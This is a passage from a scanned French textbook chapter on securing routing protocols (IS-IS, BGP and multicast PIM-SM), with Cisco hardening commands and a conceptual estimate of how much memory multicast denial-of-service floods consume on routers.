ment un sommet et son etiquette (ou distance) a chaque iteration. II exploite en outre la 
propriete que les sous-chemins de plus courts chemins sont de plus courts chemins. Le 
temps processeur necessaire pour le calcul des tables de routage par un equipement 
reseau peut etre non negligeable. 

Par exemple, avec un graphe dense, 1' algorithme de Dijkstra a une complexity en temps 
de l'ordre de 0(S 2 ). Si Ton modifie 10 prefixes par seconde dans un graphe comportant 
900 sommets, le temps necessaire pour mettre a jour les tables de routage necessite de 
l'ordre de plusieurs millions d' operations par seconde dans le pire des cas. 

Si un equipement reseau consomme trop de ressources pour le calcul des tables de 
routage, il impacte le routage proprement dit et par consequent le trafic reseau. 

Les protocoles parmi les plus utilises de nos jours sont les suivants : 

• OSPF (Open Shortest Path First). Protocole de routage a etat des liens fonde sur le 
calcul des chemins les plus courts et sur une architecture hierarchique constitute de 
zones OSPF. 

• IS-IS (Intermediate System to Intermediate Systems). Protocole de routage a etat 
des liens fonde sur le calcul des chemins les plus courts et sur une architecture hierar- 
chique constitute de domaines IS-IS. 

D'autres protocoles, tels RIP (Routing Information Protocol) ou IGRP (Interior Gateway 
Routing Protocol), sont des protocoles de routage a vecteur de distance. 
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Le protocole de routage IS-IS 

IS-IS est un protocole interne de routage. Issu de 1' ensemble des protocoles OSI, il four- 
nit un support pour la mise a jour d' informations de routage entre de multiples protoco- 
les. II s'agit d'un protocole par etat des liaisons de type SPF (Shortest Path First), ou 
chemin le plus court, dont la derniere version est conforme a la norme ISO 10589. 

Le routage IS-IS utilise deux niveaux hierarchiques de routage. La topologie de routage 
IS-IS est done partitionnee en domaines de routage de niveaux 1 ou 2. Les routeurs de 
niveau 1 connaissent la topologie dans leur domaine, incluant tous les routeurs de ce 
domaine. Cependant, ces routeurs de niveau 1 ne connaissent ni l'identite des routeurs ni 
les destinations a l'exterieur de leur domaine. lis routent tout le trafic vers les routeurs 
interconnects au niveau 2 dans leur domaine. 

Les routeurs de niveau 2 connaissent la topologie reseau du niveau 2 et savent quelles 
adresses sont atteignables pour chaque routeur. Les routeurs de niveau 2 n'ont pas besoin 
de connaitre la topologie a l'interieur d'un domaine de niveau 1. Seuls les routeurs de 
niveau 2 peuvent echanger les paquets de donnees ou les informations de routage direct 
avec les routeurs externes situes en dehors de leur domaine de routage. 

Le domaine de niveau 2 agit comme domaine d'echange entre les domaines de niveau 1. 
La figure 11.2 illustre une topologie type d' interconnexion entre les domaines IS-IS de 
niveaux 1 et 2. 



Figure 11.2 

Topologie des 
interconnexions des 
domaines IS-IS 




Pour des raisons de disponibilite des connexions entre les domaines, le nombre de 
sessions d' interconnexion entre les domaines 1 et 2 doit etre superieur au minimum a 
deux sessions IS-IS. 

Le reseau de routage forme par les routeurs des domaines 1 ou 2 doit deflnir un graphe 
connexe (il existe un chemin entre tous les noeuds du graphe). La figure 1 1.3 illustre une 
topologie type d' interconnexion des equipements reseau dans un domaine IS-IS de 
niveau 1 ou 2. 
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Figure 11.3 

Topologie des 
interconnexions des 
equipements reseau dans un 
domaine 




Le reseau de routage forme par les routeurs au sein d'un domaine doit etre un graphe 
connexe (il existe un chemin entre tous les nceuds du graphe) et sans point d' articulation. 



Regies de securite pour I'architecture de routage IS-IS 

Les regies de securite a considerer pour I'architecture de routage IS-IS sont les suivantes (pour une confi- 
guration de routeur Cisco) : 

• L'architecture de routage IS-IS et le decoupage en domaines IS-IS sont clairement explicites et docu- 
ments. La topologie de routage est decrite dans les documents de I'ingenierie. 

• Les echanges des tables de routage sont authentifies lors d'une session IS-IS. 
La commande suivante : 

isis password password {level-isis} 

permet de definir un mot de passe par session IS-IS. 

• Les tables de routage sont limitees aux classes d'adresses IP autorisees. 
La commande suivante : 

distance weight {ip-address {ip-address mask}} [ip access-list] 

access-list access-list-number [dynamic list-name [timeout value]] {deny 
| permit} protocol source source-wildcard destination destination- 
wildcard [precedence precedence] [tos tos] [logl log-input] 

permet de definir une ACL fondee sur les adresses IP a filtrer. 



Les protocoles de routage EGP 

Nous ne decrirons dans cette section que le protocole BGP (Border Gateway Protocol), 
qui s'est impose comme le protocole EGP du reseau Internet. 

BGP s'appuie sur la couche TCP (port 179) pour etablir une connexion TCP entre deux 
routeurs et echanger d'une maniere dynamique les annonces de routes. 

Le routage BGP repose generalement sur 1'algorithme de Bellman-Ford distribue. II s'agit 
d'un algorithme reparti et autostabilisant, dans lequel chaque sommet x maintient une table 
des distances donnant le voisin z a utiliser pour joindre la destination y. On le note L^^z). 

L' algorithme se fonde sur le calcul de l'invariant suivant pour chaque sommet et pour 
chacune de ses destinations : 
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D*0u) = c(x,y) + min w D z (y,w) 

ou w designe les voisins de z. 

L'algorithme exploite la propriete que les sous-chemins de plus courts chemins sont des 
plus courts chemins. Lorsqu'un noeud calcule un nouveau cout minimal pour une destina- 
tion lors d'une mise a jour de routage provenant de ses voisins ou lorsque le cout d'une 
de ses adjacences a change, il informe ses voisins de cette nouvelle valeur. II s'agit done 
d'un algorithme a correction d' etiquettes (label correcting algorithm) pouvant affiner a 
chaque iteration 1' etiquette (ou distance) de chaque sommet. 

Si Ton considere qu'un equipement reseau a de l'ordre de 20 voisins en moyenne et 
que chaque voisin envoie une mise a jour de routage modifiant 5 000 prefixes par 
seconde, il faut de l'ordre de plusieurs millions d' operations par seconde dans le pire 
des cas pour mettre a jour les tables de routage. De plus, le nombre de messages de 
mises a jour de routage envoye par cet equipement reseau peut etre important et gene- 
rer une attaque par deni de service sur le reseau considere (la taille d'un message BGP 
peut aller jusqu'a 4 096 octets). 

Si un equipement reseau consomme trop de ressources pour le calcul des tables de 
routage, il impacte le routage proprement dit et par consequent le trafic reseau. 

Lorsqu'un routeur BGP re^oit des mises a jour en provenance de plusieurs systemes 
autonomes decrivant differents chemins vers une meme destination, il choisit le meilleur 
itineraire pour l'atteindre et le propage vers ses voisins. 

La decision de routage est fondee sur plusieurs attributs, notamment les suivants : 

• AS-path. Liste les numeros de tous les AS qu'une mise a jour doit traverser pour 
atteindre une destination. 

• Origin. Donne des informations sur l'origine de la route. Ces informations peuvent 
etre IGP (la route annoncee provient du meme systeme autonome que l'annonceur), 
EGP (la route est apprise et ne provient pas du meme systeme autonome) ou Incom- 
plete (la route est apprise d'une autre maniere). 

• Next hop. Contient l'adresse IP du routeur vers lequel 1' information doit etre emise 
pour atteindre le reseau. 

• Weight. Utilise dans le processus de selection de chemin lorsqu'il existe plus d'une 
route vers une meme destination. On definit alors un poids. L'attribut de poids est local 
au routeur et n'est pas propage dans les mises a jour de routage. 

• Local preference. Role similaire a l'attribut de poids, si ce n'est que l'attribut de prefe- 
rence locale fait partie des informations de mise a jour de routage. 

• Multi-exit discriminator. Indication aux routeurs voisins externes concernant le 
chemin a privilegier vers un AS lorsque celui-ci possede plusieurs points d' entree (via 
les differents routeurs externes de 1' autre AS). 

• Community. Utilise pour grouper des destinations auxquelles des decisions de routage 
peuvent etre appliquees. 



Protection de la gestion du reseau 



285 



Chapitre 1 1 

Les routes apprises par les sessions eBGP d'un systeme autonome doivent etre propa- 
gees au sein du systeme autonome par le biais de sessions iBGP. II s'agit de maintenir 
une vue coherente de 1' ensemble des routes externes au systeme autonome pour 
1' ensemble des routeurs. 

La specification initiale de BGP suppose qu'un graphe complet (modele « complet ») de 
sessions iBGP soit configure au sein du systeme autonome pour distribuer les routes 
interdomaines. 

Par consequent, il doit y avoir : 

sessions iBGP au sein d'un systeme autonome si n est le nombre de routeurs. 

La raison a cela est que les sessions iBGP ne redistribuent par les routes apprises en 
iBGP afln d'eviter les phenomenes de bouclage. Par exemple, pour un reseau contenant 
100 routeurs, il serait necessaire de configurer de l'ordre de 5 000 sessions iBGP au total 
dans les configurations des routeurs. 

Le modele reflecteur de routes a ete propose pour reduire le nombre de configurations 
des sessions iBGP. 

Sachant que le sous-graphe associe aux reflecteurs de routes doit etre complet, il doit y 
avoir : 

sessions iBGP entre les reflecteurs de routes. 

2 

Cependant, le nombre de reflecteurs de routes necessaires est, par architecture, tres infe- 
rieur compare au nombre de routeurs dans le systeme autonome. 

Les niveaux d' architecture illustres aux figures 11.4 a 11.7 peuvent etre deflnis a l'aide 
de BGP : 

• Le premier niveau d' architecture (voir figure 11.4) definit les differentes intercon- 
nexions entre systemes autonomes. Le decoupage en differents AS depend de 
nombreux parametres, tels que le nombre d'equipements reseau, la localisation 
geographique, etc. Pour des raisons de disponibilite et de resilience des connexions 
entre AS, le nombre de sessions d' interconnexion entre les systemes autonomes de 
l'operateur doit etre superieur au minimum a deux sessions. La figure illustre une topo- 
logie type des interconnexions d'un reseau d'un operateur de telecommunications, 
avec ses partenaires et ses clients au niveau des AS. 

• Le second niveau d' interconnexion (voir figure 11.5) concerne le decoupage d'un 
systeme autonome en sous-systemes autonomes, ou Sub AS. Ce type d' architecture est 
un modele de type confederation, qui ne semble plus etre utilise du fait de la difflculte 
de maintenir la coherence des configurations. La figure illustre une topologie type des 
interconnexions des sous-systemes autonomes au sein d'un systeme autonome. 

• Le dernier niveau d' architecture (voir figures 11.6 et 11.7) se situe soit au niveau d'un 
systeme autonome, soit dans un sous-systeme autonome. II est compose de plusieurs 
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Figure 11.4 

Topologie des 
interconnexions des 
sy steme s autonomes d'un 
reseau BGP 




Figure 11.5 

Topologie des 
interconnexions des sous- 
sy steme s autonomes d'un 
reseau BGP 



ASx 
odele de confederation 




modeles possibles. Dans le modele full-meshing, tous les equipements ont une session 
BGP les uns avec les autres. Dans le modele de type reflecteur de routes, tous les equi- 
pements ont une session BGP avec des equipements dedies au routage, appeles reflec- 
teurs de routes. Dans les deux cas, les graphes doivent etre connexes (il existe un 
chemin entre tous les noeuds du graphe). Une combinaison des deux topologies est 
possible. Un reflecteur de routes est un routeur BGP qui peut redistribuer sur des 
sessions iBGP les routes qu'il a apprises d'autres sessions iBGP. 
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Figure 11.6 

Topologie des 
interconnexions des 
equipements reseau d'un 
reseau BGP (full-meshing) 




Figure 11.7 

Topologie des 
interconnexions des 
equipements reseau d'un 
reseau BGP (reflecteur de 
routes) 




Un reflecteur de routes est un routeur BGP qui peut redistribuer sur des sessions iBGP les 
routes qu'il a apprises d'autres sessions iBGP. Un reflecteur de routes a des voisins 
clients et des voisins non clients (les voisins non clients sont consideres ici comme des 
reflecteur s de routes). Un reflecteur de routes re^oit des routes de tous ses voisins iBGP 
et utilise son processus de decision BGP afin de determiner les meilleures routes pour 
joindre chaque destination. Si la meilleure route a ete re^ue sur une session iBGP avec un 
voisin client, le reflecteur de route annonce cette route a tous ses voisins iBGP. Si la route 
a ete re^ue d'un voisin non client, la route n'est annoncee qu'aux voisins clients 



Mecanismes de securite du routage externe 

Les echanges de routes avec des AS externes constituent un point nevralgique de la secu- 
rite d'un reseau. 

Nous detaillons dans cette section les techniques permettant de renforcer la securite de 
tels echanges. 

Controle par secrets partages 

Le controle d'une session de routage BGP entre deux routeurs peut etre realise par 
l'option d'empreinte MD5 vehiculee dans les paquets TCP. II s'agit de verifier en point- 
a-point les annonces de routes echangees entre deux routeurs a l'aide d'un secret partage, 
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ou cle secrete. Ce controle doit etre mis en ceuvre en priorite sur les sessions eBGP, qui 
presentent le plus de risques pour un AS. 

Sachant que les deux routeurs possedent un secret partage, une empreinte fondee sur une 
fonction de hachage (MD5, SHA-x, etc.) est generee pour controler les echanges de 
routes. Quand un routeur emet un paquet IP contenant des donnees BGP, une empreinte 
est calculee et inseree dans le paquet TCP, puis verifiee par 1' autre routeur BGP, comme 
l'illustre la figure 1 1.8. 



Figure 11.8 

Controle du routage par les 
secrets partage s 
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Compare les empreintes 



Cette empreinte est calculee a partir de la cle secrete et de champs constants qui n'ont pas 
ete modifies par le processus d'acheminement du paquet, notamment les suivants : 

adresse IP source ; 

adresse IP destination ; 

en-tete TCP sans les options avec un checksum a ; 

donnees du segment TCP ; 

secret partage ou cle secrete (distribue par un canal securise). 

L' empreinte est inseree dans le champ Options du paquet TCP, permettant de mettre en 
ceuvre un mecanisme de controle d'une session de routage BGP. En revanche, elle ne 
permet pas d'authentifler le chemin pris par une route ni l'origine de la route. 

Les differents secrets partages permettent aussi de creer des groupes distincts ou perime- 
tres de securite entre les sessions iBGP et les diverses sessions eBGP. 



Controle par les TTL 

Une autre methode pour controler une session de routage BGP consiste a mettre en place 
un controle du TTL (Time To Live) contenu dans les paquets IP echanges par la session 
de routage BGP. Ce controle doit etre mis en ceuvre en priorite sur les sessions eBGP, qui 
comportent le plus de risques pour un AS. 
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Partant du principe que les sessions de routage BGP entre deux routeurs sont generale- 
ment directes, les paquets IP contenant des informations de routage BGP emis par un 
routeur doivent arriver a l'autre routeur avec un TTL = TTL - 1 (voir figure 11.9). 
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Controle du routage par les 
TTL 




Session de routage 
eBGP 




Routeur 



Routeur 



IP + 
TTL =255 



TCP 



BGP 



IP + 
TTL =254 



TCP 


BGP 



Verification du TTL >=254 



Comme une annonce de routes entre deux routeurs correspond chaque fois a un nouveau 
paquet IP, le TTL du paquet IP emis est par defaut egal a 255. Si l'autre routeur recoit des 
annonces de routes ay ant un TTL qui n'est pas egal a 254, il peut en conclure que ce n'est 
pas le routeur avec lequel il a une session de routage qui a emis cette annonce. 

Ce controle permet de mettre en ceuvre un mecanisme de controle d'une session de 
routage BGP. En revanche, il ne permet pas plus que le precedent d'authentifler le 
chemin annonce par une route ni l'origine de la route. 

Controle des annonces de routes eBGP 

Les annonces de routes peuvent etre soumises a une reelle politique de routage definie 
par l'administrateur d'un systeme autonome (operateur de telecommunications). Cette 
politique peut a la fois s'appliquer aux annonces de routes emises vers un systeme auto- 
nome (routes transmises a l'interieur d'un AS) et aux annonces de routes qu'emet le 
systeme autonome (routes emises a l'exterieur d'un AS), comme l'illustre la 
figure 11.10. 

Cette politique de routage deflnit des regies de controle ou de flltrage fondees notamment 
sur les elements suivants : 

• Listes de flltrage associees aux valeurs des systemes autonomes. Par exemple, telle 
route ne peut etre annoncee que par la liste des systemes autonomes suivants. 

• Listes de flltrage associees aux prefixes annonces ou emis. Par exemple, certains 
prefixes ne doivent pas etre annonces (RFC 1918). 

• Controles de l'instabilite des routes. Par exemple, si un prefixe fait l'objet de mises a 
jour incessantes, il peut etre mis en quarantaine arm de proteger le processus de 
routage BGP. 
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Figure 11.10 
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Controle de I'authentification des routes 

Bien qu'il existe un certain nombre d' elements de configuration permettant de renforcer 
la securite des sessions BGP, deux problemes fondamentaux subsistent. Le premier 
consiste a authentifler l'origine d'une route et le second a authentifler le chemin pris par 
une route. Quelques initiatives ont vu le jour pour repondre a ces problematiques. 

La premiere initiative, sBGP (secure-BGP), consiste a deployer un systeme a cle 
publique dans lequel chaque systeme autonome possede un certificat electronique. Les 
sessions de routage BGP s'etablissent via le protocole IPsec. Lors de l'annonce d'une 
route, chaque systeme autonome verifie le chemin emis et signe a son tour avec sa cle 
privee le chemin s'il doit l'annoncer a un autre systeme autonome, comme l'illustre la 
figure 11.11 (les signatures s'empilent comme les couches d'un oignon). 
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La deuxieme initiative exploite le fait que le deploiement d'un systeme a cle publique 
ajoute aux impacts cryptographiques sur les processeurs des routeurs limitent une mise 
en ceuvre rapide d'un tel systeme. « Listen and Whisper » propose notamment une 
methode de controle des annonces de routes limitant au minimum les impacts sur le 
temps processeur des routeurs. L'idee consiste a fournir un mecanisme permettant de 
verifier la consistance des annonces de routes. Par exemple, a la figure 11.12, l'AS(e) 
re^oit deux annonces de routes par deux chemins differents. 

Lors de 1' initialisation de l'annonce d'une route, 1' AS(a) genere un secret X et utilise une 
fonction de hachage pour aj outer une empreinte a ses annonces de routes. Chaque AS 
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Figure 11.12 
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traverse genere une nouvelle empreinte fondee sur l'empreinte precedente. Si l'AS(e) 
re^oit deux annonces de routes r et s, de longueurs respectives k et / (representant le 
nombre d' AS traverses, k > 1) et d'empreintes y r et Y s , il peut verifier la consistance de la 
route en realisant le calcul h k ~ l (y s ) = y r 

Si cette solution n'impacte que faiblement les temps processeur des routeurs, elle ne 
permet pas d'authentifler de maniere sure 1'origine d'une route. 

La troisieme initiative, SoBGP (Secure origin BGP), emanant de Cisco, veut repondre 
aux memes besoins de securite que la solution sBGP, mais avec une approche differente, 
qui necessite de deployer une nouvelle couche de serveurs pour controler les certiflcats et 
les chemins associes aux routes. 

Enfln, l'initiative IRV (Interdomain Routing Validation) consiste a ne pas modifier le 
protocole BGP et a proposer une architecture de serveurs speciflque permettant de vali- 
der les informations de routage interdomaine hors bande. 

En depit de toutes ces initiatives, aucunes de ces solutions n'est actuellement mise en ceuvre. 



Regies de securite pour I'architecture de routage BGP 

Les regies de securite a considerer pour I'architecture de routage BGP sont les suivantes : 

• L'architecture de routage est clairement documentee et justifiee. Cela recouvre le decoupage en diffe- 
rents systemes et sous-systemes autonomes. 

• La topologie de routage est decrite dans les documents de I'ingenierie. 

• Les echanges de tables de routage lors d'une session BGP sont authentifies. 
La commande suivante : 

neighbor { ip-address | peer-group-name} password string 

permet de definir un mot de passe pour une session BGP 

• Les echanges de tables de routage lors d'une session BGP sont authentifies. 
La commande suivante : 

neighbor ip-address ttl-security hops hop-count 

permet de definir un controle BGP fonde sur le TTL. 

• Un filtrage sur les numeros de systemes autonomes est defini et mis en place pour les interconnexions 
avec les autres operateurs reseau ou fournisseurs de services reseau. Ce filtrage couvre les echanges 
de routes du reseau vers I'exterieur (filtre out) et de I'exterieur vers le reseau (filtre in). 
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La commande suivante : 

neighbor { ip-address | peer-group-name} filter-list access-list-number 
{in | out} 

permet de definir un filtre sur les systemes autonomes pour une session BGP. 

Un nombre maximal de prefixes est defini afin de s'assurer que le nombre d'entrees dans les tables de 
routage reste sous controle. 

La commande suivante : 

neighbor {ip-address | peer-group-name} maximum-prefix maximum 
[threshold] [warning-only] 

limite le nombre de prefixes IP annonces. 

Un filtrage sur les classes d'adresses IP non autorisees est defini et mis en place, notamment sur les 
classes I AN A reservees (filtrages out et in). 

La commande suivante : 

neighbor {ip-address | peer-group-name} prefix-list pref ix-listname {in 
I out } 

permet de definir un filtre sur les adresses IP pour une session BGP 

Un filtrage fonde sur I'attribut de communaute du protocole BGP (filtrages out et in) est defini et mis en 
place. 

La commande suivante : 

neighbor {ip-address | peer-group-name} route-map route-map-name {in | 
out } 

permet d'appliquer une politique de route-map sur une session BGP 
La commande suivante : 

route-map map-tag [[permit | deny] | [sequence-number]] 

permet de definir une politique de route-map. 
La commande suivante : 

set community {community-number [additive]} | none 

permet d'ajouter des attributs BGP. 
La commande suivante : 

set comm-list community-list-number | community-list-name delete 

permet d'ajouter ou d'enlever des attributs BGP. 
La commande suivante : 

match as-path path-list-number 

permet de faire correspondre des systemes autonomes. 
La commande suivante : 

match community standard-list-number | expanded-list-number | community- 
list-name [exact-match] 

permet de faire correspondre une liste d'attributs BGP. 

Un filtrage sur I'instabilite des mises a jour de routes (dampening) est defini et mis en place. 

La commande suivante : 

bgp dampening [half-life reuse suppress max-suppress-time] [route-map 
map] 

permet de definir une politique prenant en compte les instability des mises a jour de route. 



Protection de la gestion du reseau 



293 



Chapitre 1 1 

Toutes ces mesures de securite protegent le reseau d'eventuelles attaques de routage, 
sans toutefois apporter de securite totale du routage reseau. Elles ne permettent pas 
d'authentifier le chemin pris par une route ni l'origine de la route. II est de surcroit possi- 
ble de detourner du traflc par le routage a des fins de vol d' information. 

La principale faiblesse des protocoles de routage actuels vient du fait qu'ils n'integrent 
aucune brique de securite. Sachant que toute attaque ou perturbation du routage peut 
impacter directement la disponibilite du reseau et de ses services, il est primordial de 
considerer les protocoles de routage comme des elements-cles de la securite d'un reseau. 

Les protocoles de routage multicast 

Dans les reseaux IP, les paquets sont generalement achemines d'une seule source vers un 
seul recepteur, de proche en proche, par des routeurs (mode unicast IP). Cependant, pour 
les applications telles que la diffusion de contenus audio/video necessitant que les 
paquets IP soient delivres a de multiples destinations, remission d'une copie de chaque 
paquet IP a chaque destinataire atteint ses limites lorsque le nombre de recepteurs est 
important (la bande passante reseau necessaire augmente, la meme donnee etant trans- 
ported de multiples fois sur les memes liens). 

Le multicast repond a cette problematique en fournissant une methode efficace pour le 
transport des communications multipoint-a-multipoint. Ce mode de diffusion permet a 
une source d'emettre une seule copie de son traflc a destination de plusieurs recepteurs. 
C'est alors au reseau de repliquer de fa^on optimale le traflc au plus pres des recepteurs 
en creant des arbres de distribution (arbre specifique, arbre partage). 

Le multicast IP est de plus en plus couramment deploye, a la fois dans Internet et dans les 
reseaux prives, pour fournir des services de diffusion de contenu multimedia necessitant 
de diffuser des donnees de fa^on simultanee a un ensemble d'abonnes. II permet d'econo- 
miser de precieuses ressources de bande passante et de capacites reseau et allege la 
charge des applications de diffusion, qui n'ont plus a emettre autant de copies du 
programme a diffuser qu'elles ont de destinataires. 

Des protocoles tres differents doivent etre actives au niveau du reseau pour mettre en 
oeuvre un service de diffusion multicast, notamment les suivants (voir figure 11.13) : 

• protocoles d'acces multicast tels que IGMP (Internet Group Management Protocol), 
MLD (Multicast Listener Discovery), Proxy IGMP/MLD, snooping IGMP/MLD, 
GMRP (Generic Attribute Registration Protocol-Multicast Registration Protocol), etc. ; 

• protocoles de routage multicast intradomaines tels que PIM-SM (Protocol Indepen- 
dant Multicast Sparse Mode), PIM-DM (Protocol Independant Multicast Dense 
Mode), DVMRP (Distance Vector Multicast Routing Protocol), MOSPF (Multicast 
Open Shortest Path Forwarding,), etc. ; 

• protocoles de routage interdomaines tels que MSDP (Multicast Source Discovery 
Protocol), BGMP (Border Gateway Multicast Protocol), PIM-SSM (Protocol Indepen- 
dent Multicast-Source-Specific Multicast), etc. 
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Figure 11.13 
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Afin de supporter des communications de groupe, les trois mecanismes distincts suivants 
doivent etre deflnis et mis en oeuvre au niveau de la couche reseau : 

• Adressage. II doit y avoir une adresse multicast IP permettant de communiquer avec 
un groupe de recepteurs plutot qu'avec un seul recepteur. Cette adresse doit permettre 
d'identifler un ensemble de destinataires faisant partie d'un groupe speciflque. Un 
mecanisme doit permettre d'associer cette adresse multicast IP a l'adresse multicast de 
la couche liaison de donnees, quand elle existe. Le listing suivant detaille l'attribution 
d'adresses multicast : 



224.0.1.6 NSS, Name Service Server. 

224.0.1.7 AUDIONEWS - Audio News Multicast. 

224.0.1.8 SUN NIS+ Information Service. 

224.0.1.9 MTP, Multicast Transport Protocol. 

224.0.1.10 IETF-1-L0W-AUDI0. 224.0.1 . 1 1 I ETF- 1 -AUDIO 

224.0.1.12 IETF-1-VIDE0. 

224.0.1.13 IETF-2-L0W-AUDI0. 

224.0.1.14 IETF-2-AUDI0. 

224.0.1.15 IETF-2-VIDE0. 

224.0.1.16 MUSIC-SERVICE. 

224.0.1.17 SEANET-TELEMETRY. 

224.0.1.18 SEANET-IMAGE. 

224.0.1.19 ML0ADD. 

224.0.1.20 Any private experiment. 

224.0.1.21 DVMRP on M0SPF. 

224.0.1.22 SVRLOC. 

224.0.1.23 XINGTV. 
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224.0.1.24 microsoft-ds. 

224.0.1.25 nbc-pro. 

224.0.1.26 nbc-pfn. 

224.0.1.27 lmsc-calren-1 



• Enregistrement dynamique. II doit exister un mecanisme permettant a des terminaux 
de joindre ou de quitter une communication de groupe. Faute de cela, le reseau ne peut 
savoir quels sous-reseaux ont besoin de recevoir le traflc d'un groupe en particulier. 

• Routage multicast. Le reseau doit etre capable de calculer et de construire des arbres 
de distribution multicast des destinataires permettant a des sources d'envoyer des 
paquets vers tous les recepteurs. Ces arbres de distribution permettent d'assurer que : 

- Le trafic multicast atteint tous les destinataires qui ont joint le groupe multicast. 

- Le trafic multicast n'est pas transmis vers des reseaux dans lesquels il n'y a pas de 
recepteur (sauf s'il s'agit d'un reseau de transit permettant d'atteindre d'autres desti- 
nataires). 

- Une seule copie d'un meme paquet est transmise sur un lien reseau donne, meme s'il 
y a de multiples destinataires connectes a ce lien. 

- Une source de trafic n'a pas a repliquer de paquets et envoie une seule copie de 
chaque paquet de donnees a destination de multiples recepteurs. 

La figure 11.14 illustre la topologie d'un seul groupe multicast et le processus de diffu- 



Figure 11.14 
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sion du trafic sur un arbre de distribution multicast. La source de trafic envoie une seule 
copie de ses donnees multicast, lesquelles sont repliquees par les routeurs multicast de 
maniere a atteindre tous les terminaux membres du groupe (recepteurs 1 et 2) ayant sous- 
crit a ce flux multicast. 
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Les protocoles de routage multicast sont classifies en deux grandes families (dense et 
eparse) en fonction de la distribution attendue des membres du groupe multicast sur le 
reseau : 

• Dans les topologies reseau de type dense, il est suppose que la repartition des recep- 
teurs d'un groupe donne est dense et homogene sur 1' ensemble d'un domaine reseau. 

• Dans les topologies reseau de type epars, il est suppose que la repartition des recep- 
teurs d'un groupe donne n'est pas homogene et est done fortement dispersee sur 
1' ensemble d'un domaine reseau. Afin de preserver les ressources du reseau, il est 
important de pouvoir restreindre le trafic multicast et de l'empecher d'etre diffuse vers 
des regions du reseau ou il n'y a pas de membre. 

Bien que les protocoles en mode epars soient plus complexes a administrer operationnel- 
lement, ils ont prouve leur efficacite pour des reseaux de grande taille. PIM-SM (Sparse 
Mode), le protocole de routage multicast le plus largement repandu aujourd'hui, est un 
protocole de routage multicast intradomaine en mode epars. II utilise des arbres partages 
ou RPT (Rendez-vous Point Tree) par groupe, qui ont pour racine un routeur particulier, 
appele Rendez-vous Point (RP). Le role du routeur RP est de servir de point de rendez- 
vous aux sources et aux recepteurs d'une diffusion multicast donnee. Les sources emettent 
leurs flux multicast vers le routeur RP, qui les retransmet vers les recepteurs de ce flux. 

L' architecture de PIM-SM definit un autre routeur particulier, appele DR (Designated 
Router). II s'agit d'un seul routeur elu et connecte a un sous-reseau LAN, dont le role est 
de deceler les sources de trafic multicast et d'initier periodiquement les procedures 
d'enregistrement aupres du routeur RP. Le DR permet aussi de maintenir a jour la table 
des groupes actifs, de declencher le cas echeant les operations d'ajout ou de suppression 
de branches de l'arbre RPT et de transmettre le trafic multicast sur le LAN a destination 
de ses recepteurs locaux. 

D'une maniere generale, les attaques possibles sur un service de diffusion multicast 
peuvent etre classifiees de la maniere generique suivante : 

• Selon leur type. On distingue les attaques par deni de service, qui visent a engorger les 
capacites des reseaux ou a saturer les ressources des routeurs, et les attaques mettant a 
profit les vulnerabilites des protocoles par falsification de messages de signalisation 
multicast. 

• Selon leur cible. On peut distinguer les attaques par deni de service dirigees contre le 
plan de transfert des routeurs et celles dirigees contre le plan de controle des routeurs. 

• Selon leur origine. Ces attaques peuvent provenir soit du cceur de reseau, soit de 
l'acces. Le cceur du reseau contient l'ensemble des routeurs multicast qui executent les 
protocoles de routage multicast. Le reseau d'acces est constitue des equipements qui 
executent les protocoles d'abonnement/desabonnement aux flux de diffusion multicast. 

Void deux types d' attaques possibles : 

• Une source malveillante pourrait attaquer un arbre de distribution multicast existant en 
injectant un trafic parasite (des paquets quelconques dont l'adresse de destination est 
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l'adresse multicast du groupe vise) sur le groupe de diffusion et violerait ainsi l'inte- 
grite du flux de diffusion legitime en ajoutant ce trafic parasite a la communication de 
groupe existante. Ce trafic parasite, qui est re^u par tous les recepteurs du groupe, vise 
a perturber la diffusion existante du flux legitime. 

• Un assaillant pourrait souscrire a des milliers d'adresses de groupes et a des milliers 
d'adresses sources. L' envoi de requetes IGMP/MLD par l'assaillant declencherait de 
nombreux evenements dans le protocole de routage multicast associe. L'enorme quan- 
tite d' entrees dans la table de routage multicast peut penaliser les flux legaux. Cette 
attaque consomme aussi des ressources memoire dans les equipements reseau gerant le 
trafic multicast afin de maintenir les etats multicast crees et traiter les messages de 
routage multicast. Elle est particulierement dangereuse pour les equipements reseau 
situes aux racines (ou proches des racines) des arbres de distribution multicast puisque 
ce sont ceux qui ont a maintenir le plus d' etats multicast. 

L' envoi par l'assaillant de requetes IGMP/MLD declenche des evenements dans le proto- 
cole de routage multicast PIM deploy e par l'operateur. Le DR envoie des messages PIM 
Join afin de creer/prolonger les arbres de distribution multicast jusqu'au terminal 
assaillant. Cela cree une enorme quantite d' entrees dans la table de routage multicast TIB 
des routeurs, dont les limites peuvent etre vite atteintes, empechant les routeurs de fonc- 
tionner normalement et penalisant tous les autres flux legaux. 

Sachant qu'une entree multicast (*,G) dans un routeur necessite environ 300 octets, 
auxquels il faut aj outer environ 150 octets par interface de sortie OIF et 20 octets supple- 
mentaires par timer, une entree multicast (S,G) dans un routeur necessite environ 
250 octets, auxquels il faut ajouter environ 150 octets par interface de sortie OIF et 
20 octets supplementaires par timer. 

Si un attaquant provoque remission de 100 messages PIM Join(S,G) differents par 
seconde vers la meme source S pendant 260 secondes (avant qu'une entree multicast ait 
pu expirer), le nombre d' entrees multicast creees sur 1' ensemble des routeurs multicast 
compris entre le site de 1' attaquant et le routeur connectant la source S est egal a 
100 x 260 = 26 000 entrees, soit un espace memoire necessaire de : 

26 000 x (250 + 150 + 20) = 11 Mo. 

Si dix attaquants provoquent remission de 100 messages PIM Join(*,G) differents par 
seconde vers differentes sources pendant 260 secondes (avant qu'une entree multicast 
ait pu expirer), le nombre d' entrees multicast creees sur le RP est egal a 
10 x 100 x 260 = 260 000 entrees, soit un espace memoire necessaire de : 

260 000 x (300 + 150 + 20) = 122 Mo. 

Ces exemples mettent en evidence que si des mecanismes specifiques ne sont pas mis en 
place dans le reseau multicast pour empecher ces attaques, ou a tout le moins en limiter 
les effets, elles peuvent tres facilement impacter les ressources memoire et processeur 
des routeurs multicast. 

Les contre-mesures possibles pour limiter de tels impacts sont de nature diverse, comme 
l'illustrent les regies de securite suivantes. 
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De nombreux travaux sont en cours afin de renforcer la securite des flux multicast en 
tenant compte de la nature distribute et dynamique des membres de groupes multicast. 

Aujourd'hui, bien qu'il existe un ensemble de protocoles de routage multicast matures et 
disponibles, tres peu d'operateurs de telecommunications ont deploye une telle fonction- 
nalite, alors meme que la constante augmentation du nombre d'operateurs supportant le 
multicast temoigne d'une demande grandissante de la part des clients pour des services 
de diffusion multicast. 



La supervision reseau SNMP 

SNMP (Simple Network Management Protocol) est un protocole de gestion de reseau 
